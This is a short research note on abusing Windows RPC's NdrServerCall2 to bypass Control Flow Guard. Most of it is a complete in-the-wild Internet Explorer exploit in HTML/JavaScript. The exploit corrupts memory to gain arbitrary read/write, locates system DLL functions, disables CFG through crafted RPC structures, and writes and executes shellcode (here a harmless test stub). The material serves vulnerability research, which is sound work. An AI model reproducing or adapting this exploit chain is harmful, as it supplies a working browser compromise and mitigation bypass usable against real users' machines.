There is an idea here to use "NdrServerCall2" as an indirection for arbitrary function invocation. Not just for CFG but generically -> server call into syscall stub. ## Tweets <blockquote class="twitter-tweet"><p lang="en" dir="ltr">Looking at -&gt; Exploiting Windows RPC to bypass CFG mitigation <a href="https://t.co/Ame7yw8pgz">https://t.co/Ame7yw8pgz</a> (<a href="https://twitter.com/iamelli0t?ref_src=twsrc%5Etfw">@iamelli0t</a>)<br>This indirection using NdrServerCall2 is really interesting (not just for VR). I wrote a small Frida script for parsing: <a href="https://t.co/BRJeHgmZYG">https://t.co/BRJeHgmZYG</a> <a href="https://t.co/0BBGNGvnW2">pic.twitter.com/0BBGNGvnW2</a></p>&mdash; b33f | πŸ‡ΊπŸ‡¦βœŠ (@FuzzySec) <a href="https://twitter.com/FuzzySec/status/1579505879803899904?ref_src=twsrc%5Etfw">October 10, 2022</a></blockquote> ## Links - https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html - https://twitter.com/iamelli0t - https://enki.co.kr/blog/2021/02/04/ie_0day.html - https://ha.cker.in/index.php/Article/17190 (for reff) ## Data Part from ITW exploit (check out kr post for more details): ```js <!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, arr) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } function writeData(addr, data) { for (var i = 0; i < data.length; ++i) write(addr + i, data[i], 8) } function addrOf(obj) { arr[0] = obj return read(pArr, 32) } function strcmp(str1, str2) { str1 = (typeof str1 == 'string') ? str1 : toStr(str1) str2 = (typeof str2 == 'string') ? str2 : toStr(str2) return str1.toLowerCase() == str2.toLowerCase() } function memcpy(dst, src, size) { for (var i = 0; i < size; ++i) write(dst + i, read(src + i, 8), 8) } function toStr(addr) { var str = '' while (true) { var c = read(addr, 8) if (c == 0) break str += String.fromCharCode(c) addr++ } return str } function newStr(str) { var buffer = createArrayBuffer(str.length + 1) for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8) write(buffer + i, 0, 8) return buffer } function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && isPE(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function isPE(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function winVer() { var appVersion = window.navigator.appVersion var ver = 0 if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) { ver = 100 } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) { ver = 81 } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) { ver = 80 } else { ver = 70 } return ver } function createArrayBuffer(size) { var ab = new ArrayBuffer(size) var bs = read(addrOf(ab) + 0x1c, 32) map.set(bs, ab) return bs } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) } function readyRpcCall(func) { var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation') var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo') var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable') write(RPC_DISPATCH_TABLE_Buffer, func, 32) } function setArgs(args) { var buffer = createArrayBuffer(48) for (var i = 0; i < args.length; ++i) { write(buffer + i * 4, args[i], 32) } _RPC_MESSAGE.set(msg, 'Buffer', buffer) _RPC_MESSAGE.set(msg, 'BufferLength', 48) _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000) return buffer } function callRpcFreeBufferImpl() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer) return call(rpcFree) } function callRpcFreeBuffer() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') var result = read(buffer, 32) callRpcFreeBufferImpl() return result } function call2(func, args) { readyRpcCall(func) var buffer = setArgs(args) call(msg) map.delete(buffer) return callRpcFreeBuffer() } function call(addr) { var result = 0 write(paoi + 0x18, addr, 32) try { xyz.normalize() } catch (error) { result = error.number } write(paoi + 0x18, patt, 32) return result } function prepareCall(addr, func) { var buf = createArrayBuffer(cattr.size()) var vft = read(patt, 32) memcpy(addr, patt, cbase.size()) memcpy(buf, vft, cattr.size()) cbase.set(addr, 'pvftable', buf) cattr.set(buf, 'normalize', func) } function createBase() { var isWin7 = winVer() == 70 var size = isWin7 ? 560 : 572 var offset = isWin7 ? 540 : 548 var addr1 = createArrayBuffer(size + cbase.size()) var addr2 = createArrayBuffer(48) write(addr1 + offset, addr2, 32) write(addr2 + 40, 8, 32) write(addr2 + 36, 8, 32) return { size: size, addr: addr1 } } function aos() { var baseObj = createBase() var addr = baseObj.addr + baseObj.size var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection') prepareCall(addr, I_RpcTransServerNewConnection) return read(read(call(addr)-0xf8, 32), 32) } function SymTab(size, sym) { this.size = function() { return size } this.set = function(addr, name, value) { var o = sym[name] write(addr + o.offset, value, o.size) } this.get = function(addr, name) { var o = sym[name] return read(addr + o.offset, o.size) } } function initRpc() { var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0] var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2') var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate') var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree') var RPCMessageObject = createArrayBuffer(cbase.size()) var buffer = createArrayBuffer(0x100) var buffer2 = createArrayBuffer(0x200) var AttributeVtable = read(patt, 32) var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size()) var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size()) var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size()) var rpcProcStringBuffer = createArrayBuffer(data.length) writeData(rpcProcStringBuffer, data) var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size()) var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size()) var NdrServerCall2Buffer = createArrayBuffer(4) write(NdrServerCall2Buffer, NdrServerCall2, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 0x40, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2) cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68) write(RPCMessageObject + 76, 1, 32) syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32)) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size()) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000) _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16) _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000) _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer) _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48) return RPCMessageObject } function rpcFree() { var Cbase = createArrayBuffer(cbase.size()) var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer') var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var AttributeVtable = read(patt, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 64, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer) cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer) cbase.set(Cbase, 'pSecurityContext', Cbase + 68) write(Cbase + 76, 1, 32) return Cbase } function CFGObject(baseAddress) { var PEAddr = isPE(baseAddress) var eat = PEAddr + 120 var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32) var size = read(LOAD_CONFIG_DIRECTORY, 32) var sizeOfImage = read(PEAddr + 0x50, 32) var CFGSymbolTable = new SymTab(0x5c, { '___guard_check_icall_fptr': { offset: 72, size: 32 } }) var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr') this.getCFGAddress = function() { return guard_check_icall_fptr_address } this.getCFGValue = function() { if (size < CFGSymbolTable.size()) return false var currentCFGValue = read(guard_check_icall_fptr_address, 32) var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage) return !isValidAddress; } } function killCfg(addr) { var cfgobj = new CFGObject(addr) if (!cfgobj.getCFGValue()) return var guard_check_icall_fptr_address = cfgobj.getCFGAddress() var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet') var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer]) map.delete(tmpBuffer) } var cbase = new SymTab(0x60, { 'pvftable': { offset: 0x0, size: 32 }, 'pSecurityContext': { offset: 0x44, size: 32 } }) var cattr = new SymTab(0x32c, { '__vtguard': { offset: 0x48, size: 32 }, 'SecurityContext': { offset: 0xc8, size: 32 }, 'JSBind_TypeId': { offset: 0x160, size: 32 }, 'JSBind_InstanceOf': { offset: 0x164, size: 32 }, 'normalize': { offset: 0x28c, size: 32 } }) var syntaxObject = new SymTab(0x14, { 'SyntaxVersion.MajorVersion': { offset: 0x10, size: 16 } }) var PRPC_CLIENT_INTERFACE = new SymTab(0x44, { 'Length': { offset: 0, size: 32 }, 'InterfaceId.SyntaxVersion.MajorVersion': { offset: 20, size: 16 }, 'TransferSyntax.SyntaxVersion.MajorVersion': { offset: 40, size: 16 }, 'DispatchTable': { offset: 44, size: 32 }, 'InterpreterInfo': { offset: 60, size: 32 }, 'Flags': { offset: 64, size: 32 } }) var _MIDL_SERVER_INFO_ = new SymTab(0x20, { 'pStubDesc': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, 'ProcString': { offset: 8, size: 32 }, 'FmtStringOffset': { offset: 12, size: 32 } }) var _MIDL_STUB_DESC = new SymTab(0x50, { 'RpcInterfaceInformation': { offset: 0, size: 32 }, 'pfnAllocate': { offset: 4, size: 32 }, 'pfnFree': { offset: 8, size: 32 }, 'pFormatTypes': { offset: 32, size: 32 }, 'fCheckBounds': { offset: 36, size: 32 }, 'Version': { offset: 40, size: 32 }, 'MIDLVersion': { offset: 48, size: 32 }, 'mFlags': { offset: 64, size: 32 } }) var RPC_DISPATCH_TABLE = new SymTab(12, { 'DispatchTableCount': { offset: 0, size: 32 }, 'DispatchTable': { offset: 4, size: 32 }, }) var _RPC_MESSAGE = new SymTab(0x2c, { 'Handle': { offset: 0, size: 32 }, 'DataRepresentation': { offset: 4, size: 32 }, 'Buffer': { offset: 8, size: 32 }, 'BufferLength': { offset: 12, size: 32 }, 'TransferSyntax': { offset: 20, size: 32 }, 'RpcInterfaceInformation': { offset: 24, size: 32 }, 'RpcFlags': { offset: 40, size: 32 } }) var god var arr = [{}] var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var alloc = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = alloc var leak = new Uint32Array(dump(hd2.nodeValue)) var pAbf = leak[6] var pArr = leak[10] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var bufArr = new Array(0x10) var fakeArr = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, bufArr[4])) setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i] fakeArr[4] = bs + 0x40 fakeArr[16] = vt fakeArr[17] = gc fakeArr[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10 write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32) var map = new Map() var jscript9 = getBase(read(addrOf(map), 32)) var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll') var msvcrt = getDllBase(jscript9, 'msvcrt.dll') var ntdll = getDllBase(msvcrt, 'ntdll.dll') var kernelbase = getDllBase(msvcrt, 'kernelbase.dll') var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect') var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA') var xyz = document.createAttribute('xyz') var paoi = addrOf(xyz) var patt = read(addrOf(xyz) + 0x18, 32) var osf_vft = aos() var msg = initRpc() var rpcFree = rpcFree() killCfg(rpcrt4) var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3]) var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000 var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer]) writeData(msi, shellcode) // mov eax, 0x1337 ; ret call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]) var result = call2(msi, []) alert(result.toString(16)) </script> </body> </html> ```